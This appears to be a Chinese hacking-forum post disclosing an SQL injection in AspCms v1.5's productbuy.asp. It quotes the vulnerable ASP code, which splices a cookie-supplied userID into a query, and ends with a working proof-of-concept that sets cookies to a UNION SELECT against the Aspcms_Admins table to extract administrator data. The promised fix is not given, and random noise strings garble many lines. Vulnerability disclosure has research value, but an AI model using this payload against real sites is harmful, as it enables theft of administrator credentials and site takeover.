AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
6 X$ Z8 o8 W6 T; h) H; D; G# y也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
2 L: N2 L8 B+ ]8 {废话不多说，看代码：

! @! _& T( K8 B# e* P$ F<%
& |7 z, H0 p( A0 I
if action = "buy" then

4 w5 @& r- z* a9 Q- K0 J" S5 e8 I5 i        addOrder()
0 m3 ?$ j& B& v7 Q; N: d) a
' J# O7 Y% }8 Q  \" F$ B" A5 b# Pelse
) r. I3 ]" V' ^9 {: F2 {
        echoContent()
4 I/ e, q/ ?! z% X9 \6 @
. j1 A; C: \' C2 J3 O" ?6 Q2 Yend if

- ~5 j9 x$ ~2 h1 [* j7 x6 o% B" Q

……略过
- R, \- Q! o6 X" B* k$ J
- ?+ N! i2 x6 p) L
% A& Y7 ~* _6 N
Sub echoContent()

        dim id

        id=getForm("id","get")
, `* }; v4 ]* u
        

% y* j1 j' u8 i/ ~6 M, Z! o        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
7 s2 a3 C+ @' f; q0 ]+ |' [' F  w5 s
        

: f: _5 \: T: @  ^! l& K        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

$ i7 j9 D: `1 i$ l1 p. x1 u        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
. {2 `* _! O7 |) f
- ^0 I2 d5 c7 V0 G' z9 i8 a, z% A; w        Dim templatePath,tempStr
: n$ g6 D# M6 j0 B$ ^5 z& E4 z
0 z3 {8 _( m) _& z; k: V) l        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
3 Z' t. Y; [; {6 n


3 U" U( M$ Z3 K        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
. X6 Z4 C! l" W) t/ m/ s- d
        selectproduct=rsObj(0)

        

        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
1 O* q2 K+ A2 [8 ^/ Q  O
% @$ R# v3 X3 y% c* k& P2 s        if rCookie("loginstatus")=1 then  

                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
9 |9 x: `% K* m4 {# j
- x3 O- K9 W5 @8 N- p7 G                linkman=rsObj("truename")

; M0 i2 a" P7 j                gender=rsObj("gender")

7 A- a; e, n8 t( P% B: ?                phone=rsObj("phone")

2 k' y, ^* r% u9 K9 q" C+ P                mobile=rsObj("mobile")
; {% c- }$ Z5 ^+ `- p+ Z% f  s* t
- t3 R1 s. |& e- o, E) F6 p. O! W( |                email=rsObj("email")

                qq=rsObj("qq")
+ U4 `' m0 u6 o4 T4 i. o
                address=rsObj("address")

                postcode=rsObj("postcode")

1 R, @7 P1 j0 s7 d        else

7 x  }+ C, @4 B- B                gender=1

6 u0 }( J7 x+ v# {9 M$ K        end if
' O0 s2 h6 J/ D% G4 T* `6 E
$ z3 t% V" {: _+ d% l        rsObj.close()
% l* ]. q* c$ ^0 a
* [+ N0 _8 n' B. o4 w2 Q# z- D               
) m0 _" u" W! A' G6 ?
0 c# C2 i& H# L- M; @7 h        with templateObj
3 o' f4 G' R) {, Z0 N( p
                .content=loadFile(templatePath)        

/ h# m& y) F8 B. {) {                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
6 C0 G7 g* @7 l. K- L, S
( W& P1 @1 h3 m  E( Z                .content=replaceStr(.content,"[aspcms:gender]",gender)               

                .content=replaceStr(.content,"[aspcms:phone]",phone)               

                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

. f9 U( N7 c) Y1 K& W2 l# z                .content=replaceStr(.content,"[aspcms:email]",email)                        
* ^& w/ ]- _3 T- d
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
( m5 W! K" ?1 B! s/ k& a, R$ }
1 k7 ?0 T; V  z6 Q/ H                .content=replaceStr(.content,"[aspcms:address]",address)                        

                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
6 H! N; ^1 d$ ?* e
                .parseCommon()                 
1 O% J" `! b' `$ y2 l$ C
                echo .content

9 h  P) ~' x$ o. l5 u4 H  x+ ?0 W        end with

        set templateobj =nothing : terminateAllObjects
+ l0 K* E3 t* M3 [- c$ m% t
) v% j( X8 c- sEnd Sub
6 x5 F- \8 V  b# N/ S: K漏洞很明显，没啥好说的
poc：
9 b2 |! E$ b6 \
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​

5 y+ A# v2 t9 t. t